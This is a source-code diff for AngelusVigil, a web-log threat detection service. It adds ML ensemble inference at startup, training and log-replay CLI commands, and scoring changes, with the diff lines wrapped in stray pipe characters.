logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -59,11 +63,21 @@ async def lifespan(app: FastAPI) -> AsyncIterator[None]:
|
||||||
session_factory=app.state.session_factory,
|
session_factory=app.state.session_factory,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
inference_engine = _load_inference_engine()
|
||||||
|
app.state.models_loaded = inference_engine is not None and inference_engine.is_loaded
|
||||||
|
app.state.detection_mode = "hybrid" if app.state.models_loaded else "rules"
|
||||||
|
|
||||||
pipeline = Pipeline(
|
pipeline = Pipeline(
|
||||||
redis_client=redis_client, # type: ignore[arg-type]
|
redis_client=redis_client, # type: ignore[arg-type]
|
||||||
rule_engine=RuleEngine(),
|
rule_engine=RuleEngine(),
|
||||||
geoip=geoip,
|
geoip=geoip,
|
||||||
on_result=dispatcher.dispatch,
|
on_result=dispatcher.dispatch,
|
||||||
|
inference_engine=inference_engine,
|
||||||
|
ensemble_weights={
|
||||||
|
"ae": settings.ensemble_weight_ae,
|
||||||
|
"rf": settings.ensemble_weight_rf,
|
||||||
|
"if": settings.ensemble_weight_if,
|
||||||
|
},
|
||||||
raw_queue_size=settings.raw_queue_size,
|
raw_queue_size=settings.raw_queue_size,
|
||||||
parsed_queue_size=settings.parsed_queue_size,
|
parsed_queue_size=settings.parsed_queue_size,
|
||||||
feature_queue_size=settings.feature_queue_size,
|
feature_queue_size=settings.feature_queue_size,
|
||||||
|
|
@ -100,6 +114,34 @@ async def lifespan(app: FastAPI) -> AsyncIterator[None]:
|
||||||
logger.info("AngelusVigil shut down cleanly")
|
logger.info("AngelusVigil shut down cleanly")
|
||||||
|
|
||||||
|
|
||||||
|
def _load_inference_engine() -> InferenceEngine | None:
|
||||||
|
"""
|
||||||
|
Attempt to load the ONNX inference engine from the
|
||||||
|
configured model directory, returning None if ML
|
||||||
|
dependencies are missing or no models are found
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
from app.core.detection.inference import (
|
||||||
|
InferenceEngine, )
|
||||||
|
except ImportError:
|
||||||
|
logger.info("onnxruntime not installed — running in rules-only mode")
|
||||||
|
return None
|
||||||
|
|
||||||
|
engine = InferenceEngine(model_dir=settings.model_dir)
|
||||||
|
if engine.is_loaded:
|
||||||
|
logger.info(
|
||||||
|
"ML models loaded from %s",
|
||||||
|
settings.model_dir,
|
||||||
|
)
|
||||||
|
return engine
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
"No ML models found in %s — running in rules-only mode",
|
||||||
|
settings.model_dir,
|
||||||
|
)
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
def create_app() -> FastAPI:
|
def create_app() -> FastAPI:
|
||||||
"""
|
"""
|
||||||
Build and configure the AngelusVigil FastAPI application.
|
Build and configure the AngelusVigil FastAPI application.
|
||||||
|
|
@ -114,12 +156,14 @@ def create_app() -> FastAPI:
|
||||||
app.state.pipeline_running = False
|
app.state.pipeline_running = False
|
||||||
|
|
||||||
from app.api.health import router as health_router
|
from app.api.health import router as health_router
|
||||||
|
from app.api.ingest import router as ingest_router
|
||||||
from app.api.models_api import router as models_router
|
from app.api.models_api import router as models_router
|
||||||
from app.api.stats import router as stats_router
|
from app.api.stats import router as stats_router
|
||||||
from app.api.threats import router as threats_router
|
from app.api.threats import router as threats_router
|
||||||
from app.api.websocket import router as ws_router
|
from app.api.websocket import router as ws_router
|
||||||
|
|
||||||
app.include_router(health_router)
|
app.include_router(health_router)
|
||||||
|
app.include_router(ingest_router)
|
||||||
app.include_router(threats_router)
|
app.include_router(threats_router)
|
||||||
app.include_router(stats_router)
|
app.include_router(stats_router)
|
||||||
app.include_router(models_router)
|
app.include_router(models_router)
|
||||||
|
|
|
||||||
|
|
@ -15,14 +15,11 @@ class ModelMetadata(TimestampedModel, table=True):
|
||||||
"""
|
"""
|
||||||
|
|
||||||
__tablename__ = "model_metadata"
|
__tablename__ = "model_metadata"
|
||||||
__table_args__ = (
|
__table_args__ = (Index(
|
||||||
Index(
|
"idx_model_metadata_active",
|
||||||
"idx_model_metadata_active",
|
"model_type",
|
||||||
"model_type",
|
postgresql_where=text("is_active = TRUE"),
|
||||||
unique=True,
|
), )
|
||||||
postgresql_where=text("is_active = TRUE"),
|
|
||||||
),
|
|
||||||
)
|
|
||||||
|
|
||||||
model_type: str = Field(max_length=30)
|
model_type: str = Field(max_length=30)
|
||||||
version: str = Field(max_length=64)
|
version: str = Field(max_length=64)
|
||||||
|
|
|
||||||
|
|
@ -42,15 +42,16 @@ class ThreatEvent(TimestampedModel, table=True):
|
||||||
user_agent: str
|
user_agent: str
|
||||||
threat_score: float = Field(sa_column=Column(Float, nullable=False))
|
threat_score: float = Field(sa_column=Column(Float, nullable=False))
|
||||||
severity: str = Field(max_length=6)
|
severity: str = Field(max_length=6)
|
||||||
component_scores: dict[str, float] = Field(sa_column=Column(JSON, nullable=False))
|
component_scores: dict[str, float] = Field(
|
||||||
|
sa_column=Column(JSON, nullable=False))
|
||||||
geo_country: str | None = Field(default=None, max_length=2)
|
geo_country: str | None = Field(default=None, max_length=2)
|
||||||
geo_city: str | None = Field(default=None, max_length=255)
|
geo_city: str | None = Field(default=None, max_length=255)
|
||||||
geo_lat: float | None = Field(default=None)
|
geo_lat: float | None = Field(default=None)
|
||||||
geo_lon: float | None = Field(default=None)
|
geo_lon: float | None = Field(default=None)
|
||||||
feature_vector: list[float] = Field(sa_column=Column(JSON, nullable=False))
|
feature_vector: list[float] = Field(sa_column=Column(JSON, nullable=False))
|
||||||
matched_rules: list[str] | None = Field(
|
matched_rules: list[str] | None = Field(default=None,
|
||||||
default=None, sa_column=Column(JSON, nullable=True)
|
sa_column=Column(JSON,
|
||||||
)
|
nullable=True))
|
||||||
model_version: str | None = Field(default=None, max_length=64)
|
model_version: str | None = Field(default=None, max_length=64)
|
||||||
reviewed: bool = Field(default=False)
|
reviewed: bool = Field(default=False)
|
||||||
review_label: str | None = Field(default=None, max_length=20)
|
review_label: str | None = Field(default=None, max_length=20)
|
||||||
|
|
|
||||||
|
|
@ -40,7 +40,7 @@ class StatsResponse(BaseModel):
|
||||||
"""
|
"""
|
||||||
|
|
||||||
time_range: str
|
time_range: str
|
||||||
total_requests: int
|
threats_stored: int
|
||||||
threats_detected: int
|
threats_detected: int
|
||||||
severity_breakdown: SeverityBreakdown
|
severity_breakdown: SeverityBreakdown
|
||||||
top_source_ips: list[IPStatEntry]
|
top_source_ips: list[IPStatEntry]
|
||||||
|
|
|
||||||
|
|
@ -35,48 +35,49 @@ async def get_stats(
|
||||||
delta = _RANGE_MAP.get(time_range, timedelta(hours=24))
|
delta = _RANGE_MAP.get(time_range, timedelta(hours=24))
|
||||||
cutoff = datetime.now(UTC) - delta
|
cutoff = datetime.now(UTC) - delta
|
||||||
|
|
||||||
base = select(ThreatEvent).where(ThreatEvent.created_at >= cutoff) # type: ignore[arg-type]
|
base = select(ThreatEvent).where(ThreatEvent.created_at
|
||||||
|
>= cutoff) # type: ignore[arg-type]
|
||||||
|
|
||||||
total_q = select(func.count()).select_from(base.subquery())
|
total_q = select(func.count()).select_from(base.subquery())
|
||||||
total = (await session.execute(total_q)).scalar_one()
|
total = (await session.execute(total_q)).scalar_one()
|
||||||
|
|
||||||
sev_q = (
|
sev_q = (
|
||||||
select(ThreatEvent.severity, func.count()) # type: ignore[call-overload]
|
select(ThreatEvent.severity,
|
||||||
.where(ThreatEvent.created_at >= cutoff)
|
func.count()) # type: ignore[call-overload]
|
||||||
.group_by(ThreatEvent.severity)
|
.where(ThreatEvent.created_at >= cutoff).group_by(
|
||||||
)
|
ThreatEvent.severity))
|
||||||
sev_rows = (await session.execute(sev_q)).all()
|
sev_rows = (await session.execute(sev_q)).all()
|
||||||
sev_map = {row[0]: row[1] for row in sev_rows}
|
sev_map = {row[0]: row[1] for row in sev_rows}
|
||||||
|
|
||||||
threats_detected = sev_map.get("HIGH", 0) + sev_map.get("MEDIUM", 0)
|
threats_detected = sev_map.get("HIGH", 0) + sev_map.get("MEDIUM", 0)
|
||||||
|
|
||||||
ip_q = (
|
ip_q = (
|
||||||
select(ThreatEvent.source_ip, func.count().label("cnt")) # type: ignore[call-overload]
|
select(ThreatEvent.source_ip,
|
||||||
.where(ThreatEvent.created_at >= cutoff)
|
func.count().label("cnt")) # type: ignore[call-overload]
|
||||||
.group_by(ThreatEvent.source_ip)
|
.where(ThreatEvent.created_at >= cutoff).group_by(
|
||||||
.order_by(func.count().desc())
|
ThreatEvent.source_ip).order_by(func.count().desc()).limit(10))
|
||||||
.limit(10)
|
|
||||||
)
|
|
||||||
ip_rows = (await session.execute(ip_q)).all()
|
ip_rows = (await session.execute(ip_q)).all()
|
||||||
|
|
||||||
path_q = (
|
path_q = (
|
||||||
select(ThreatEvent.request_path, func.count().label("cnt")) # type: ignore[call-overload]
|
select(ThreatEvent.request_path,
|
||||||
.where(ThreatEvent.created_at >= cutoff)
|
func.count().label("cnt")) # type: ignore[call-overload]
|
||||||
.group_by(ThreatEvent.request_path)
|
.where(ThreatEvent.created_at >= cutoff).group_by(
|
||||||
.order_by(func.count().desc())
|
ThreatEvent.request_path).order_by(func.count().desc()).limit(10))
|
||||||
.limit(10)
|
|
||||||
)
|
|
||||||
path_rows = (await session.execute(path_q)).all()
|
path_rows = (await session.execute(path_q)).all()
|
||||||
|
|
||||||
return StatsResponse(
|
return StatsResponse(
|
||||||
time_range=time_range,
|
time_range=time_range,
|
||||||
total_requests=total,
|
threats_stored=total,
|
||||||
threats_detected=threats_detected,
|
threats_detected=threats_detected,
|
||||||
severity_breakdown=SeverityBreakdown(
|
severity_breakdown=SeverityBreakdown(
|
||||||
high=sev_map.get("HIGH", 0),
|
high=sev_map.get("HIGH", 0),
|
||||||
medium=sev_map.get("MEDIUM", 0),
|
medium=sev_map.get("MEDIUM", 0),
|
||||||
low=sev_map.get("LOW", 0),
|
low=sev_map.get("LOW", 0),
|
||||||
),
|
),
|
||||||
top_source_ips=[IPStatEntry(source_ip=row[0], count=row[1]) for row in ip_rows],
|
top_source_ips=[
|
||||||
top_attacked_paths=[PathStatEntry(path=row[0], count=row[1]) for row in path_rows],
|
IPStatEntry(source_ip=row[0], count=row[1]) for row in ip_rows
|
||||||
|
],
|
||||||
|
top_attacked_paths=[
|
||||||
|
PathStatEntry(path=row[0], count=row[1]) for row in path_rows
|
||||||
|
],
|
||||||
)
|
)
|
||||||
|
|
|
||||||
|
|
@ -9,6 +9,7 @@ from datetime import datetime
|
||||||
from sqlalchemy import func, select
|
from sqlalchemy import func, select
|
||||||
from sqlalchemy.ext.asyncio import AsyncSession
|
from sqlalchemy.ext.asyncio import AsyncSession
|
||||||
|
|
||||||
|
from app.core.detection.ensemble import classify_severity
|
||||||
from app.core.ingestion.pipeline import ScoredRequest
|
from app.core.ingestion.pipeline import ScoredRequest
|
||||||
from app.models.threat_event import ThreatEvent
|
from app.models.threat_event import ThreatEvent
|
||||||
from app.schemas.threats import (
|
from app.schemas.threats import (
|
||||||
|
|
@ -63,19 +64,28 @@ async def get_threats(
|
||||||
count_query = select(func.count()).select_from(ThreatEvent)
|
count_query = select(func.count()).select_from(ThreatEvent)
|
||||||
|
|
||||||
if severity:
|
if severity:
|
||||||
query = query.where(ThreatEvent.severity == severity.upper()) # type: ignore[arg-type]
|
query = query.where(
|
||||||
count_query = count_query.where(ThreatEvent.severity == severity.upper()) # type: ignore[arg-type]
|
ThreatEvent.severity == severity.upper()) # type: ignore[arg-type]
|
||||||
|
count_query = count_query.where(
|
||||||
|
ThreatEvent.severity == severity.upper()) # type: ignore[arg-type]
|
||||||
if source_ip:
|
if source_ip:
|
||||||
query = query.where(ThreatEvent.source_ip == source_ip) # type: ignore[arg-type]
|
query = query.where(
|
||||||
count_query = count_query.where(ThreatEvent.source_ip == source_ip) # type: ignore[arg-type]
|
ThreatEvent.source_ip == source_ip) # type: ignore[arg-type]
|
||||||
|
count_query = count_query.where(
|
||||||
|
ThreatEvent.source_ip == source_ip) # type: ignore[arg-type]
|
||||||
if since:
|
if since:
|
||||||
query = query.where(ThreatEvent.created_at >= since) # type: ignore[arg-type]
|
query = query.where(ThreatEvent.created_at
|
||||||
count_query = count_query.where(ThreatEvent.created_at >= since) # type: ignore[arg-type]
|
>= since) # type: ignore[arg-type]
|
||||||
|
count_query = count_query.where(ThreatEvent.created_at
|
||||||
|
>= since) # type: ignore[arg-type]
|
||||||
if until:
|
if until:
|
||||||
query = query.where(ThreatEvent.created_at <= until) # type: ignore[arg-type]
|
query = query.where(ThreatEvent.created_at
|
||||||
count_query = count_query.where(ThreatEvent.created_at <= until) # type: ignore[arg-type]
|
<= until) # type: ignore[arg-type]
|
||||||
|
count_query = count_query.where(ThreatEvent.created_at
|
||||||
|
<= until) # type: ignore[arg-type]
|
||||||
|
|
||||||
query = query.order_by(ThreatEvent.created_at.desc()) # type: ignore[attr-defined]
|
query = query.order_by(
|
||||||
|
ThreatEvent.created_at.desc()) # type: ignore[attr-defined]
|
||||||
query = query.offset(offset).limit(limit)
|
query = query.offset(offset).limit(limit)
|
||||||
|
|
||||||
total = (await session.execute(count_query)).scalar_one()
|
total = (await session.execute(count_query)).scalar_one()
|
||||||
|
|
@ -116,16 +126,16 @@ async def create_threat_event(
|
||||||
status_code=scored.entry.status_code,
|
status_code=scored.entry.status_code,
|
||||||
response_size=scored.entry.response_size,
|
response_size=scored.entry.response_size,
|
||||||
user_agent=scored.entry.user_agent,
|
user_agent=scored.entry.user_agent,
|
||||||
threat_score=scored.rule_result.threat_score,
|
threat_score=scored.final_score,
|
||||||
severity=scored.rule_result.severity,
|
severity=classify_severity(scored.final_score),
|
||||||
component_scores=scored.rule_result.component_scores,
|
component_scores=scored.rule_result.component_scores,
|
||||||
geo_country=scored.geo.country if scored.geo else None,
|
geo_country=(scored.geo.country if scored.geo else None),
|
||||||
geo_city=scored.geo.city if scored.geo else None,
|
geo_city=(scored.geo.city if scored.geo else None),
|
||||||
geo_lat=scored.geo.lat if scored.geo else None,
|
geo_lat=(scored.geo.lat if scored.geo else None),
|
||||||
geo_lon=scored.geo.lon if scored.geo else None,
|
geo_lon=(scored.geo.lon if scored.geo else None),
|
||||||
feature_vector=scored.feature_vector,
|
feature_vector=scored.feature_vector,
|
||||||
matched_rules=scored.rule_result.matched_rules or None,
|
matched_rules=(scored.rule_result.matched_rules or None),
|
||||||
model_version="rules-v1",
|
model_version=scored.detection_mode,
|
||||||
)
|
)
|
||||||
session.add(event)
|
session.add(event)
|
||||||
await session.flush()
|
await session.flush()
|
||||||
|
|
|
||||||
|
|
@ -3,6 +3,10 @@
|
||||||
main.py
|
main.py
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import asyncio
|
||||||
|
import dataclasses
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
import typer
|
import typer
|
||||||
|
|
||||||
app = typer.Typer(
|
app = typer.Typer(
|
||||||
|
|
@ -11,15 +15,62 @@ app = typer.Typer(
|
||||||
no_args_is_help=True,
|
no_args_is_help=True,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
DEFAULT_MODEL_DIR = "data/models"
|
||||||
|
DEFAULT_EPOCHS = 100
|
||||||
|
DEFAULT_BATCH_SIZE = 256
|
||||||
|
DEFAULT_SYNTHETIC_NORMAL = 1000
|
||||||
|
DEFAULT_SYNTHETIC_ATTACK = 500
|
||||||
|
DEFAULT_EXPERIMENT_NAME = "angelusvigil-training"
|
||||||
|
DEFAULT_SERVER_URL = "http://localhost:8000"
|
||||||
|
|
||||||
|
|
||||||
|
async def _write_metadata(
|
||||||
|
model_dir: Path,
|
||||||
|
training_samples: int,
|
||||||
|
metrics: dict[str, object],
|
||||||
|
mlflow_run_id: str | None,
|
||||||
|
threshold: float | None,
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
Persist training metadata to the database
|
||||||
|
"""
|
||||||
|
from app.config import settings
|
||||||
|
from ml.metadata import save_model_metadata
|
||||||
|
from sqlalchemy.ext.asyncio import (
|
||||||
|
AsyncSession,
|
||||||
|
async_sessionmaker,
|
||||||
|
create_async_engine,
|
||||||
|
)
|
||||||
|
|
||||||
|
engine = create_async_engine(settings.database_url)
|
||||||
|
try:
|
||||||
|
factory = async_sessionmaker(
|
||||||
|
engine,
|
||||||
|
class_=AsyncSession,
|
||||||
|
expire_on_commit=False,
|
||||||
|
)
|
||||||
|
async with factory() as session:
|
||||||
|
await save_model_metadata(
|
||||||
|
session,
|
||||||
|
model_dir=model_dir,
|
||||||
|
training_samples=training_samples,
|
||||||
|
metrics=metrics,
|
||||||
|
mlflow_run_id=mlflow_run_id,
|
||||||
|
threshold=threshold,
|
||||||
|
)
|
||||||
|
finally:
|
||||||
|
await engine.dispose()
|
||||||
|
|
||||||
|
|
||||||
@app.command()
|
@app.command()
|
||||||
def serve(
|
def serve(
|
||||||
host: str = typer.Option("0.0.0.0", help="Bind address"),
|
host: str = typer.Option("0.0.0.0", help="Bind address"),
|
||||||
port: int = typer.Option(8000, help="Bind port"),
|
port: int = typer.Option(8000, help="Bind port"),
|
||||||
reload: bool = typer.Option(False, help="Enable auto-reload for development"),
|
reload: bool = typer.Option(False,
|
||||||
|
help="Enable auto-reload for development"),
|
||||||
) -> None:
|
) -> None:
|
||||||
"""
|
"""
|
||||||
Start the AngelusVigil API server.
|
Start the AngelusVigil API server
|
||||||
"""
|
"""
|
||||||
import uvicorn
|
import uvicorn
|
||||||
|
|
||||||
|
|
@ -31,16 +82,212 @@ def serve(
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@app.command()
|
||||||
|
def train(
|
||||||
|
csic_dir: Path = typer.Option(
|
||||||
|
None,
|
||||||
|
help="Path to CSIC 2010 dataset directory",
|
||||||
|
),
|
||||||
|
synthetic_normal: int = typer.Option(
|
||||||
|
DEFAULT_SYNTHETIC_NORMAL,
|
||||||
|
help="Number of synthetic normal samples",
|
||||||
|
),
|
||||||
|
synthetic_attack: int = typer.Option(
|
||||||
|
DEFAULT_SYNTHETIC_ATTACK,
|
||||||
|
help="Number of synthetic attack samples",
|
||||||
|
),
|
||||||
|
output_dir: Path = typer.Option(
|
||||||
|
DEFAULT_MODEL_DIR,
|
||||||
|
help="Directory to save ONNX models",
|
||||||
|
),
|
||||||
|
epochs: int = typer.Option(
|
||||||
|
DEFAULT_EPOCHS,
|
||||||
|
help="Autoencoder training epochs",
|
||||||
|
),
|
||||||
|
batch_size: int = typer.Option(
|
||||||
|
DEFAULT_BATCH_SIZE,
|
||||||
|
help="Training batch size",
|
||||||
|
),
|
||||||
|
experiment_name: str = typer.Option(
|
||||||
|
DEFAULT_EXPERIMENT_NAME,
|
||||||
|
help="MLflow experiment name",
|
||||||
|
),
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
Train all ML models and export to ONNX
|
||||||
|
"""
|
||||||
|
import numpy as np
|
||||||
|
|
||||||
|
from ml.orchestrator import TrainingOrchestrator
|
||||||
|
|
||||||
|
X_parts: list[np.ndarray] = []
|
||||||
|
y_parts: list[np.ndarray] = []
|
||||||
|
|
||||||
|
if csic_dir is not None:
|
||||||
|
if not csic_dir.exists():
|
||||||
|
typer.echo(
|
||||||
|
f"Error: CSIC directory not found"
|
||||||
|
f" at {csic_dir}",
|
||||||
|
err=True,
|
||||||
|
)
|
||||||
|
raise typer.Exit(code=1)
|
||||||
|
|
||||||
|
from ml.data_loader import load_csic_dataset, load_csic_normal
|
||||||
|
|
||||||
|
normal_path = csic_dir / "normalTrafficTraining.txt"
|
||||||
|
normal_test_path = csic_dir / "normalTrafficTest.txt"
|
||||||
|
attack_path = csic_dir / "anomalousTrafficTest.txt"
|
||||||
|
typer.echo(f"Loading CSIC data from {csic_dir}")
|
||||||
|
X_csic, y_csic = load_csic_dataset(
|
||||||
|
normal_path, attack_path
|
||||||
|
)
|
||||||
|
X_parts.append(X_csic)
|
||||||
|
y_parts.append(y_csic)
|
||||||
|
typer.echo(
|
||||||
|
f" CSIC: {len(X_csic)} samples"
|
||||||
|
)
|
||||||
|
|
||||||
|
if normal_test_path.exists():
|
||||||
|
X_extra, y_extra = load_csic_normal(normal_test_path)
|
||||||
|
X_parts.append(X_extra)
|
||||||
|
y_parts.append(y_extra)
|
||||||
|
typer.echo(
|
||||||
|
f" CSIC normal test: {len(X_extra)} samples"
|
||||||
|
)
|
||||||
|
|
||||||
|
if synthetic_normal > 0 or synthetic_attack > 0:
|
||||||
|
from ml.synthetic import generate_mixed_dataset
|
||||||
|
|
||||||
|
typer.echo(
|
||||||
|
f"Generating synthetic data:"
|
||||||
|
f" {synthetic_normal} normal,"
|
||||||
|
f" {synthetic_attack} attack"
|
||||||
|
)
|
||||||
|
X_syn, y_syn = generate_mixed_dataset(
|
||||||
|
synthetic_normal, synthetic_attack
|
||||||
|
)
|
||||||
|
X_parts.append(X_syn)
|
||||||
|
y_parts.append(y_syn)
|
||||||
|
|
||||||
|
if not X_parts:
|
||||||
|
typer.echo(
|
||||||
|
"Error: no data sources specified",
|
||||||
|
err=True,
|
||||||
|
)
|
||||||
|
raise typer.Exit(code=1)
|
||||||
|
|
||||||
|
X = np.vstack(X_parts)
|
||||||
|
y = np.concatenate(y_parts)
|
||||||
|
typer.echo(
|
||||||
|
f"Total: {len(X)} samples"
|
||||||
|
f" ({int(np.sum(y == 0))} normal,"
|
||||||
|
f" {int(np.sum(y == 1))} attack)"
|
||||||
|
)
|
||||||
|
|
||||||
|
orch = TrainingOrchestrator(
|
||||||
|
output_dir=Path(output_dir),
|
||||||
|
experiment_name=experiment_name,
|
||||||
|
epochs=epochs,
|
||||||
|
batch_size=batch_size,
|
||||||
|
)
|
||||||
|
result = orch.run(X, y)
|
||||||
|
|
||||||
|
try:
|
||||||
|
metrics: dict[str, object] = (
|
||||||
|
dataclasses.asdict(result.ensemble_metrics)
|
||||||
|
if result.ensemble_metrics else {}
|
||||||
|
)
|
||||||
|
asyncio.run(_write_metadata(
|
||||||
|
Path(output_dir),
|
||||||
|
int(len(X)),
|
||||||
|
metrics,
|
||||||
|
result.mlflow_run_id,
|
||||||
|
result.ae_metrics.get("ae_threshold"),
|
||||||
|
))
|
||||||
|
typer.echo(" Model metadata saved to database")
|
||||||
|
except Exception as exc:
|
||||||
|
typer.echo(
|
||||||
|
f" Warning: could not save metadata to DB: {exc}",
|
||||||
|
err=True,
|
||||||
|
)
|
||||||
|
|
||||||
|
typer.echo(f"Models exported to {output_dir}")
|
||||||
|
if result.ensemble_metrics is not None:
|
||||||
|
typer.echo(
|
||||||
|
f" Ensemble F1:"
|
||||||
|
f" {result.ensemble_metrics.f1:.4f}"
|
||||||
|
)
|
||||||
|
typer.echo(
|
||||||
|
f" Ensemble PR-AUC:"
|
||||||
|
f" {result.ensemble_metrics.pr_auc:.4f}"
|
||||||
|
)
|
||||||
|
typer.echo(
|
||||||
|
f" Passed gates: {result.passed_gates}"
|
||||||
|
)
|
||||||
|
|
||||||
|
if not result.passed_gates:
|
||||||
|
raise typer.Exit(code=1)
|
||||||
|
|
||||||
|
|
||||||
|
@app.command()
|
||||||
|
def replay(
|
||||||
|
log_file: Path = typer.Option(...,
|
||||||
|
help="Path to nginx access log file"),
|
||||||
|
url: str = typer.Option(
|
||||||
|
DEFAULT_SERVER_URL,
|
||||||
|
help="Running server URL to send logs to",
|
||||||
|
),
|
||||||
|
batch_size: int = typer.Option(100, help="Lines per batch"),
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
Replay historical log lines through the pipeline
|
||||||
|
"""
|
||||||
|
import httpx
|
||||||
|
|
||||||
|
if not log_file.exists():
|
||||||
|
typer.echo(
|
||||||
|
f"Error: log file not found at {log_file}",
|
||||||
|
err=True,
|
||||||
|
)
|
||||||
|
raise typer.Exit(code=1)
|
||||||
|
|
||||||
|
lines = log_file.read_text().strip().splitlines()
|
||||||
|
typer.echo(f"Replaying {len(lines)} lines to {url}")
|
||||||
|
|
||||||
|
sent = 0
|
||||||
|
with httpx.Client(timeout=30.0) as client:
|
||||||
|
for i in range(0, len(lines), batch_size):
|
||||||
|
batch = lines[i:i + batch_size]
|
||||||
|
response = client.post(
|
||||||
|
f"{url}/ingest/batch",
|
||||||
|
json={"lines": batch},
|
||||||
|
)
|
||||||
|
if response.status_code == 200:
|
||||||
|
sent += len(batch)
|
||||||
|
else:
|
||||||
|
typer.echo(
|
||||||
|
f" Batch {i} failed: {response.status_code}",
|
||||||
|
err=True,
|
||||||
|
)
|
||||||
|
|
||||||
|
typer.echo(f"Replayed {sent}/{len(lines)} lines")
|
||||||
|
|
||||||
|
|
||||||
@app.command()
|
@app.command()
|
||||||
def config() -> None:
|
def config() -> None:
|
||||||
"""
|
"""
|
||||||
Print the current configuration (secrets redacted).
|
Print the current configuration (secrets redacted)
|
||||||
"""
|
"""
|
||||||
from app.config import settings
|
from app.config import settings
|
||||||
|
|
||||||
safe_fields = {}
|
safe_fields = {}
|
||||||
for key, value in settings.model_dump().items():
|
for key, value in settings.model_dump().items():
|
||||||
if any(secret in key for secret in ("key", "password", "secret", "token")):
|
if any(secret in key for secret in (
|
||||||
|
"key",
|
||||||
|
"password",
|
||||||
|
"secret",
|
||||||
|
"token",
|
||||||
|
)):
|
||||||
safe_fields[key] = "***REDACTED***"
|
safe_fields[key] = "***REDACTED***"
|
||||||
elif "url" in key and "@" in str(value):
|
elif "url" in key and "@" in str(value):
|
||||||
safe_fields[key] = _redact_url(str(value))
|
safe_fields[key] = _redact_url(str(value))
|
||||||
|
|
@ -54,12 +301,12 @@ def config() -> None:
|
||||||
@app.command()
|
@app.command()
|
||||||
def health(
|
def health(
|
||||||
url: str = typer.Option(
|
url: str = typer.Option(
|
||||||
"http://localhost:8000",
|
DEFAULT_SERVER_URL,
|
||||||
help="Base URL of the running server",
|
help="Base URL of the running server",
|
||||||
),
|
),
|
||||||
) -> None:
|
) -> None:
|
||||||
"""
|
"""
|
||||||
Ping the running server's /health endpoint.
|
Ping the running server's /health endpoint
|
||||||
"""
|
"""
|
||||||
import httpx
|
import httpx
|
||||||
|
|
||||||
|
|
@ -69,18 +316,24 @@ def health(
|
||||||
data = response.json()
|
data = response.json()
|
||||||
typer.echo(f" status: {data.get('status', 'unknown')}")
|
typer.echo(f" status: {data.get('status', 'unknown')}")
|
||||||
typer.echo(f" uptime: {data.get('uptime_seconds', 0):.0f}s")
|
typer.echo(f" uptime: {data.get('uptime_seconds', 0):.0f}s")
|
||||||
typer.echo(f" pipeline: {'running' if data.get('pipeline_running') else 'stopped'}")
|
typer.echo(
|
||||||
|
f" pipeline: {'running' if data.get('pipeline_running') else 'stopped'}"
|
||||||
|
)
|
||||||
except httpx.ConnectError:
|
except httpx.ConnectError:
|
||||||
typer.echo("Error: cannot connect to server", err=True)
|
typer.echo("Error: cannot connect to server", err=True)
|
||||||
raise typer.Exit(code=1) from None
|
raise typer.Exit(code=1) from None
|
||||||
except httpx.HTTPStatusError as exc:
|
except httpx.HTTPStatusError as exc:
|
||||||
typer.echo(f"Error: server returned {exc.response.status_code}", err=True)
|
typer.echo(
|
||||||
|
f"Error: server returned {exc.response.status_code}",
|
||||||
|
err=True,
|
||||||
|
)
|
||||||
raise typer.Exit(code=1) from None
|
raise typer.Exit(code=1) from None
|
||||||
|
|
||||||
|
|
||||||
def _redact_url(url: str) -> str:
|
def _redact_url(url: str) -> str:
|
||||||
"""
|
"""
|
||||||
Replace the user:password portion of a database URL with ***:***.
|
Replace the user:password portion of a database
|
||||||
|
URL with ***:***
|
||||||
"""
|
"""
|
||||||
if "://" not in url or "@" not in url:
|
if "://" not in url or "@" not in url:
|
||||||
return url
|
return url
|
||||||
|
|
|
||||||
|
|
@ -45,20 +45,19 @@ class ThreatAutoencoder(nn.Module):
|
||||||
nn.LeakyReLU(0.2),
|
nn.LeakyReLU(0.2),
|
||||||
nn.Dropout(0.2),
|
nn.Dropout(0.2),
|
||||||
nn.Linear(24, input_dim),
|
nn.Linear(24, input_dim),
|
||||||
nn.Sigmoid(),
|
|
||||||
)
|
)
|
||||||
|
|
||||||
def encode(self, x: Tensor) -> Tensor:
|
def encode(self, x: Tensor) -> Tensor:
|
||||||
"""
|
"""
|
||||||
Compress input through the encoder to the 6-dim bottleneck.
|
Compress input through the encoder to the 6-dim bottleneck.
|
||||||
"""
|
"""
|
||||||
return self.encoder(x)
|
return self.encoder(x) # type: ignore[no-any-return]
|
||||||
|
|
||||||
def decode(self, z: Tensor) -> Tensor:
|
def decode(self, z: Tensor) -> Tensor:
|
||||||
"""
|
"""
|
||||||
Reconstruct input from the bottleneck representation.
|
Reconstruct input from the bottleneck representation.
|
||||||
"""
|
"""
|
||||||
return self.decoder(z)
|
return self.decoder(z) # type: ignore[no-any-return]
|
||||||
|
|
||||||
def forward(self, x: Tensor) -> Tensor:
|
def forward(self, x: Tensor) -> Tensor:
|
||||||
"""
|
"""
|
||||||
|
|
@ -71,4 +70,4 @@ class ThreatAutoencoder(nn.Module):
|
||||||
Per-sample mean squared error between input and reconstruction.
|
Per-sample mean squared error between input and reconstruction.
|
||||||
"""
|
"""
|
||||||
reconstructed = self.forward(x)
|
reconstructed = self.forward(x)
|
||||||
return torch.mean((x - reconstructed) ** 2, dim=1)
|
return torch.mean((x - reconstructed)**2, dim=1)
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,228 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
data_loader.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import re
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from datetime import datetime, UTC
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import numpy as np
|
||||||
|
|
||||||
|
from app.core.features.encoder import encode_for_inference
|
